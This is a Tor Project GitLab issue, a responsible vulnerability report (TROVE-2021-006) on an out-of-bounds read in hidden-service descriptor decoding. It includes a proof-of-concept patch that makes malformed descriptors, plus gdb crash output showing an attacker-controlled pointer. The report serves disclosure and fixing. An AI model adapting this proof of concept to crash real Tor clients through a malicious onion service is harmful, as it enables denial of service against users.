Skip to content
GitLab
Projects Groups Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in
  • Tor Tor
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 328
    • Issues 328
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 31
    • Merge requests 31
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • The Tor Project
  • Core
  • TorTor
  • Issues
  • #40392
Closed
Open
Issue created May 14, 2021 by Nick Mathewson@nickm🌻Owner

TROVE-2021-006: Out-of-bounds read in desc_decode_encryted_v3

Reported by Sergei Glazunov at Google. This issue is confidential.


Greetings,

There's an out-of-bounds read issue in desc_decode_encrypted_v3.

Consider the definition of the R3_INTRO_AUTH_REQUIRED token:

/** Descriptor ruleset for the encrypted section. */
static token_rule_t hs_desc_encrypted_v3_token_table[] = {
  T1_START(str_create2_formats, R3_CREATE2_FORMATS, CONCAT_ARGS, NO_OBJ),
  T01(str_intro_auth_required, R3_INTRO_AUTH_REQUIRED, ARGS, NO_OBJ),
  T01(str_single_onion, R3_SINGLE_ONION_SERVICE, ARGS, NO_OBJ),
  END_OF_TABLE
};

The macro ARGS indicates that the token can have any number of arguments (including zero). However, the function desc_decode_encrypted_v3 expects the token to always have an argument at index 0:

/** Decode the version 3 encrypted section of the given descriptor desc. The
 * desc_encrypted_out will be populated with the decoded data. */
static hs_desc_decode_status_t
desc_decode_encrypted_v3(const hs_descriptor_t *desc,
                         const curve25519_secret_key_t *client_auth_sk,
                         hs_desc_encrypted_data_t *desc_encrypted_out)
{
[...]
  /* Authentication type. It's optional but only once. */
  tok = find_opt_by_keyword(tokens, R3_INTRO_AUTH_REQUIRED);
  if (tok) {
    if (!decode_auth_type(desc_encrypted_out, tok->args[0])) {
      log_warn(LD_REND, "Service descriptor authentication type has "
                        "invalid entry(ies).");
      goto err;
    }
  }

As a result, the function may access an out-of-bounds char pointer, which is then passed to decode_auth_type.

The easiest way to reproduce the issue is to apply the following patch and run one of the hs_descriptor unit tests. I’ve also confirmed that a malicious hidden service can crash clients that are trying to connect to it on a testnet.

diff --git a/src/feature/hs/hs_descriptor.c b/src/feature/hs/hs_descriptor.c
index 0656224e48..0e241a1d1a 100644
--- a/src/feature/hs/hs_descriptor.c
+++ b/src/feature/hs/hs_descriptor.c
@@ -754,14 +754,7 @@ get_inner_encrypted_layer_plaintext(const
hs_descriptor_t *desc)
     smartlist_add_asprintf(lines, "%s %d\n", str_create2_formats,
                            ONION_HANDSHAKE_TYPE_NTOR);

-    if (desc->encrypted_data.intro_auth_types &&
-        smartlist_len(desc->encrypted_data.intro_auth_types)) {
-      /* Put the authentication-required line. */
-      char *buf = smartlist_join_strings(desc->encrypted_data.intro_auth_types,
-                                         " ", 0, NULL);
-      smartlist_add_asprintf(lines, "%s %s\n", str_intro_auth_required, buf);
-      tor_free(buf);
-    }
+    smartlist_add_asprintf(lines, "%s\n", str_intro_auth_required);

     if (desc->encrypted_data.single_onion_service) {
       smartlist_add_asprintf(lines, "%s\n", str_single_onion);
@@ -827,6 +820,15 @@ get_outer_encrypted_layer_plaintext(const
hs_descriptor_t *desc,
     smartlist_add(lines, auth_client_lines);
   }

+
+  char tmp[4001];
+  memset(tmp, 'B', 4000);
+  tmp[4000] = 0;
+
+  for (int i = 0; i < 5; ++i)
+    smartlist_add_asprintf(lines,
+                             "opt %s\n", tmp);
+
   /* create encrypted section */
   {
     smartlist_add_asprintf(lines,
@@ -2673,18 +2675,6 @@ hs_desc_encode_descriptor,(const hs_descriptor_t *desc,
     goto err;
   }

-  /* Try to decode what we just encoded. Symmetry is nice!, but it is
-   * symmetric only if the client auth is disabled. That is, the descriptor
-   * cookie will be NULL. */
-  if (!descriptor_cookie) {
-    ret = hs_desc_decode_descriptor(*encoded_out, &desc->subcredential,
-                                    NULL, NULL);
-    if (BUG(ret != HS_DESC_DECODE_OK)) {
-      ret = -1;
-      goto err;
-    }
-  }
-
   return 0;

  err:

gdb output:

gdb --args ./src/test/test --no-fork hs_descriptor/decode_descriptor
[...]
Program received signal SIGSEGV, Segmentation fault.
__strchr_sse2 () at ../sysdeps/x86_64/multiarch/../strchr.S:32
32  ../sysdeps/x86_64/multiarch/../strchr.S: No such file or directory.
(gdb) x/i $pc
=> 0x7ffff77b8617 <__strchr_sse2+39>: movdqu xmm0,XMMWORD PTR [rdi]
(gdb) info reg
rax            0x242               578
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x20                32
rdi            0x4242424242424242  4774451407313060418
rbp            0x7fffffffd9d0      0x7fffffffd9d0
rsp            0x7fffffffd958      0x7fffffffd958
r8             0x0                 0
r9             0x0                 0
r10            0x7ffff78a2ac0      140737346415296
r11            0x7ffff78a33c0      140737346417600
r12            0x0                 0
r13            0x2919ce            2693582
r14            0x3ba8e0            3909856
r15            0x4242424242424242  4774451407313060418
rip            0x7ffff77b8617      0x7ffff77b8617 <__strchr_sse2+39>
[...]
(gdb) bt
#0  __strchr_sse2 () at ../sysdeps/x86_64/multiarch/../strchr.S:32
#1  0x0000000000bc08f7 in smartlist_split_string (sl=0x1789e60,
str=<optimized out>, sep=<optimized out>, flags=<optimized out>,
max=<optimized out>)
    at src/lib/smartlist_core/smartlist_split.c:55
#2  0x00000000009c5dc4 in decode_auth_type (desc=0x17854c0,
list=0x4242424242424242 <error: Cannot access memory at address
0x4242424242424242>)
    at src/feature/hs/hs_descriptor.c:1216
#3  desc_decode_encrypted_v3 (desc=0x1785420,
client_auth_sk=<optimized out>, desc_encrypted_out=<optimized out>) at
src/feature/hs/hs_descriptor.c:2327
#4  0x00000000009c3c32 in hs_desc_decode_encrypted (desc=0x1785420,
client_auth_sk=<optimized out>, desc_encrypted=<optimized out>)
    at src/feature/hs/hs_descriptor.c:2421
#5  0x00000000009c4447 in hs_desc_decode_descriptor (
    encoded=0x17a7dd0 "hs-descriptor 3\ndescriptor-lifetime
180\ndescriptor-signing-key-cert\n-----BEGIN ED25519 CERT-----\n"...,
subcredential=<optimized out>, client_auth_sk=<optimized out>,
desc_out=<optimized out>)
    at src/feature/hs/hs_descriptor.c:2604
#6  0x000000000070cc44 in test_decode_descriptor (arg=<optimized out>)
at src/test/test_hs_descriptor.c:266
#7  0x00000000008e98c7 in testcase_run_bare_ (testcase=0xbf27b8
<hs_descriptor+120>) at src/ext/tinytest.c:107
#8  testcase_run_one (group=<optimized out>, testcase=0xbf27b8
<hs_descriptor+120>) at src/ext/tinytest.c:272
#9  0x00000000008ea4e2 in tinytest_main (c=<optimized out>,
v=<optimized out>, groups=<optimized out>) at src/ext/tinytest.c:454
#10 0x00000000008e8aa1 in main (c=3, v=<optimized out>) at
src/test/testing_common.c:420

The out-of-bounds pointer value can be controlled, but it’s extremely unlikely the issue can be used for anything other than a very limited info leak.

The issue is reported with no disclosure deadline.

Cheers Sergei

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information
Assignee
Assign to
Time tracking